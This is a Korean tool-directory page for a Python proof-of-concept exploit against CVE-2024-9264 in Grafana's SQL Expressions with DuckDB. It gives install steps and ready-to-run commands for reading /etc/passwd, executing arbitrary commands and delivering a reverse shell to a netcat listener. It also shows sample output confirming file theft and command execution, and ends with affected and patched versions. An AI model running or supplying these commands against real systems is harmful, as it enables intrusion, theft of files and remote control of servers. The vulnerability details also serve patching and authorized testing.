Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-9264 — CVE-2024-9264 Grafana SQL Expressions DuckDB LFI/RCE PoC | Kitploit
도구/GitHubGitHub/ozcanpng/cve-2024-9264
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & Education
GitHubozcanpng/cve-2024-9264

CVE-2024-9264

CVE-2024-9264 Grafana SQL Expressions DuckDB LFI/RCE PoC

저장소 보기
29일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-9264 - Grafana SQL Expressions DuckDB LFI/RCE PoC

CVE-2024-9264에 대한 Python 개념 증명(PoC)입니다. 이는 Grafana SQL Expressions 취약점으로, Grafana 프로세스 PATH에 duckdb가 존재할 때 인증된 로컬 파일 포함(LFI) 및 명령 실행을 허용할 수 있습니다.

승인된 테스트 및 연구 목적으로만 사용하십시오. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 사용하지 마십시오.


기능 설명

root@kitploit:~
authenticated Grafana API access -> SQL Expressions DuckDB query -> file read -> optional shellfs command execution
  1. Grafana의 SQL Expressions 데이터소스 쿼리 엔드포인트에 인증된 요청을 전송합니다.
  2. DuckDB read_blob()로 파일을 읽습니다. 명령 실행이 요청된 경우 기본 검증 파일로 /etc/passwd가 먼저 사용됩니다.
  3. 선택적으로 DuckDB shellfs를 로드하고 파이프 기반 read_csv() 호출을 통해 명령을 실행합니다.
  4. /tmp/cve_2024_9264_out에서 명령 출력을 읽고 디코딩된 결과를 출력합니다.

취약한 엔드포인트는 API를 통해 직접 호출할 수 있습니다. 대시보드 UI 상호작용은 필요하지 않습니다. 그러나 인증은 여전히 필요합니다.


스크린샷

명령 실행

Command execution proof

리버스 셸 페이로드

Reverse shell payload delivery

리버스 셸 리스너

Reverse shell listener


설치

root@kitploit:~
git clone https://github.com/ozcanpng/CVE-2024-9264.git
cd CVE-2024-9264
python3 -m pip install -r requirements.txt

사용법

파일 읽기

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --file /etc/passwd

--file을 단독으로 사용하면 스크립트는 해당 파일을 직접 읽고 파일 읽기 결과 섹션에 디코딩된 내용을 출력합니다.

명령 실행

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --cmd id

스크립트는 먼저 기본 /etc/passwd 파일 읽기 검증을 수행한 다음 명령 페이로드를 전달합니다. 결과 섹션에서는 원시 Grafana JSON 응답 대신 디코딩된 명령 출력을 출력합니다.

리버스 셸

리스너 시작:

root@kitploit:~
rlwrap nc -lvnp 4444

리버스 셸 페이로드 전송:

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --reverse-shell --lhost 10.10.14.7 --lport 4444

드라이 런

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --dry-run

디버그

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --debug

옵션

다음 옵션은 현재 스크립트 CLI 기준입니다:

root@kitploit:~
-u, --url, --target TARGET
                        대상 URL, 예: http://localhost:3000
--username USERNAME     Grafana 사용자 이름. 기본값: admin
--password PASSWORD     Grafana 비밀번호. 기본값: admin
--file FILE             읽을 파일 경로. 기본 검증 경로: /etc/passwd
--expected-marker MARKER
                        파일 읽기 응답에서 기대하는 마커. 기본값: root:
--cmd CMD               DuckDB shellfs 경로를 통해 실행할 명령
--reverse-shell         bash 리버스 셸 페이로드 실행
--lhost LHOST           --reverse-shell용 리스너 호스트
--lport LPORT           --reverse-shell용 리스너 포트
--timeout TIMEOUT       HTTP 타임아웃(초). 기본값: 20
--verify-tls            TLS 인증서 검증. 기본값: 활성화
-k, --insecure          TLS 인증서 검증 비활성화
--dry-run               요청을 보내지 않고 대상 및 페이로드 메타데이터 출력
--debug                 요청 디버깅 메타데이터 출력

출력 예시

파일 읽기

root@kitploit:~
[STEP 2] File Read Result
--------------------------------------------------------------------
[*] File path    : /etc/passwd
[*] HTTP status  : 200
[+] File content read successfully.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
grafana:x:472:0::/home/grafana:/usr/sbin/nologin

명령 실행

root@kitploit:~
[STEP 4] Result
--------------------------------------------------------------------
[*] HTTP status  : 200
[+] Payload accepted by Grafana.
uid=472(grafana) gid=0(root) groups=0(root)

영향 범위

제품영향을 받는 버전필요한 접근 권한영향
Grafana OSS / Enterprise패치 보안 릴리스 이전의 Grafana 11.0.x, 11.1.x 및 11.2.xViewer 이상Grafana PATH에 DuckDB가 존재할 때 로컬 파일 포함 및 명령 삽입

Grafana는 악용에 Grafana 프로세스 PATH에 duckdb 바이너리가 존재해야 하며, 일반 Grafana 배포판에는 DuckDB가 기본적으로 설치되지 않는다고 밝히고 있습니다.


참고 사항

  • 유효한 Grafana 자격 증명이 필요합니다.
  • 계정에 Viewer 이상의 권한이 있어야 합니다.
  • API를 통한 직접 악용은 인증 없는 악용을 의미하지 않습니다. 요청에는 여전히 유효한 세션 또는 Basic Auth 자격 증명이 필요합니다.
  • 명령 실행 전 첫 번째 검증 단계로 파일 읽기가 사용됩니다.
  • 명령 실행은 대상 환경의 DuckDB 및 shellfs 확장 동작에 따라 달라집니다.
  • 자체 서명 인증서를 사용하는 TLS 대상의 경우 -k 또는 --insecure를 전달하십시오.
  • 패치 보안 릴리스에는 Grafana 11.0.5+security-01, 11.1.6+security-01, 11.2.1+security-01, 11.0.6+security-01, 11.1.7+security-01 및 11.2.2+security-01이 포함됩니다.

참조

  • Grafana 보안 권고 - CVE-2024-9264
  • Grafana 보안 릴리스 블로그
  • NVD - CVE-2024-9264

작성자

ozcanpng - github.com/ozcanpng - ozcanpng.dev

도구 다운로드